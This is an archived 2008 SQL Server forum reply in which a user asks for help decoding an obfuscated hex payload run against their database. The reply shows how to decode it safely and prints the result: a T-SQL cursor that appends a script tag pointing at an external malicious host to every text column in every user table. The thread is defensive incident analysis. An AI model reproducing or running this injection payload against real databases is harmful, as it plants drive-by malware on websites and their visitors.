Talk About Network

Google


Register and Login
Nick
Password
Register create new account Sign up is FREE and you can post replies, new topics, bookmark posts and more!
Recover lost password


Data Bases > Microsoft SQL Server > Re: Urgent: Dec...
Latest [ Topics | Posts ] Archive Post A New Topic Post a Reply
<< Topic < Post Post 3 of 18 Topic 11036 of 11517
Post > Topic >>

Re: Urgent: Deciphering binary code executed against the database

by Matthias Klaey <mpky@[EMAIL PROTECTED] > May 13, 2008 at 02:31 AM

anojjona@[EMAIL PROTECTED]
 wrote:

> Hi,
>   I need to figure out what some code that was maliciously executed
> against a database does.  However, it's in a very strange format.  It
> simply declares a variable and sets it equal to a huge binary thing
> (seems to be some sort of compiled code) cast as nvarchar.  It then
> executes this variable.
>    Is there any way to decipher or decompile this code?  Does anyone
> have information either on what SQL Server does when it's asked to
> execute a binary string (as opposed to regular T-SQL) and any tools
> that can be used to disassemble or understand this code?
>    Thanks!
> 
>    Here's the code:
> 
> DECLARE @[EMAIL PROTECTED]
 NVARCHAR(4000);
> SET
> @[EMAIL PROTECTED]
(0x44004

[...]

> EXEC(@[EMAIL PROTECTED]
);

Hi

Copy the code into a query window for a test datadase, then insted of
the EXEC(@[EMAIL PROTECTED]
) just simply do a

 SELECT @[EMAIL PROTECTED]
 look at the result. Here is what I got:

DECLARE @[EMAIL PROTECTED]
 varchar(255),@[EMAIL PROTECTED]
 varchar(255) 
DECLARE Table_Cursor CURSOR FOR select a.name,b.name 
  from sysobjects a,syscolumns b 
  where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167) 
  
OPEN Table_Cursor 
  FETCH NEXT FROM  Table_Cursor INTO @[EMAIL PROTECTED]
 
  WHILE(@[EMAIL PROTECTED]
) 
    BEGIN 
      exec('update ['+@[EMAIL PROTECTED]
'] 
            set ['+@[EMAIL PROTECTED]
']=rtrim(convert(varchar,['+@[EMAIL PROTECTED]
']))+''
            <script src=http://www.killwow1.cn/g.js></script>''')
      FETCH NEXT FROM  Table_Cursor INTO @[EMAIL PROTECTED]
 
    END CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

I'm not good enough to understand what this really does, and a lot
will depend on what is coming down the line from the web site.

But I think you got yourself something nasty, and I would ASAP kill
this DB and restore from a clean backup.

HTH
Matthias Kläy
-- 
www.kcc.ch
 




 18 Posts in Topic:
Urgent: Deciphering binary code executed against the database
anojjona@[EMAIL PROTECTED  2008-05-12 17:00:52 
Re: Urgent: Deciphering binary code executed against the databas
eisaacs@[EMAIL PROTECTED]  2008-05-12 17:24:41 
Re: Urgent: Deciphering binary code executed against the databas
Matthias Klaey <mpky@[  2008-05-13 02:31:17 
Re: Urgent: Deciphering binary code executed against the databas
eisaacs@[EMAIL PROTECTED]  2008-05-12 17:41:18 
Re: Urgent: Deciphering binary code executed against the databas
anojjona@[EMAIL PROTECTED  2008-05-12 17:43:43 
Re: Urgent: Deciphering binary code executed against the databas
Matthias Klaey <mpky@[  2008-05-13 03:18:19 
Re: Urgent: Deciphering binary code executed against the databas
anojjona@[EMAIL PROTECTED  2008-05-12 17:46:54 
Re: Urgent: Deciphering binary code executed against the databas
eisaacs@[EMAIL PROTECTED]  2008-05-12 17:52:35 
Re: Urgent: Deciphering binary code executed against the databas
eisaacs@[EMAIL PROTECTED]  2008-05-12 18:06:10 
Re: Urgent: Deciphering binary code executed against the databas
Eric <eisaacs@[EMAIL P  2008-05-12 18:25:54 
Re: Urgent: Deciphering binary code executed against the databas
MacLeonard Starkey <se  2008-05-13 23:02:29 
Re: Urgent: Deciphering binary code executed against the databas
MacLeonard Starkey <se  2008-05-13 23:08:34 
Re: Urgent: Deciphering binary code executed against the databas
anojjona@[EMAIL PROTECTED  2008-05-12 22:37:28 
Re: Urgent: Deciphering binary code executed against the databas
Pumba <takvinge@[EMAIL  2008-05-13 01:58:09 
Re: Urgent: Deciphering binary code executed against the databas
anojjona@[EMAIL PROTECTED  2008-05-13 07:57:54 
Re: Urgent: Deciphering binary code executed against the databas
Eric <eisaacs@[EMAIL P  2008-05-13 11:18:32 
Re: Urgent: Deciphering binary code executed against the databas
anojjona@[EMAIL PROTECTED  2008-05-13 15:46:03 
Re: Urgent: Deciphering binary code executed against the databas
Erland Sommarskog <esq  2008-05-14 22:05:10 

Post A Reply:
  Go here to Signup

AddThis Feed Button


About - Advertising - Contact - Frequently Asked Questions - Privacy Policy - Terms of Use - Signup

Contact
tan12V112 Wed Dec 3 0:54:24 CST 2008.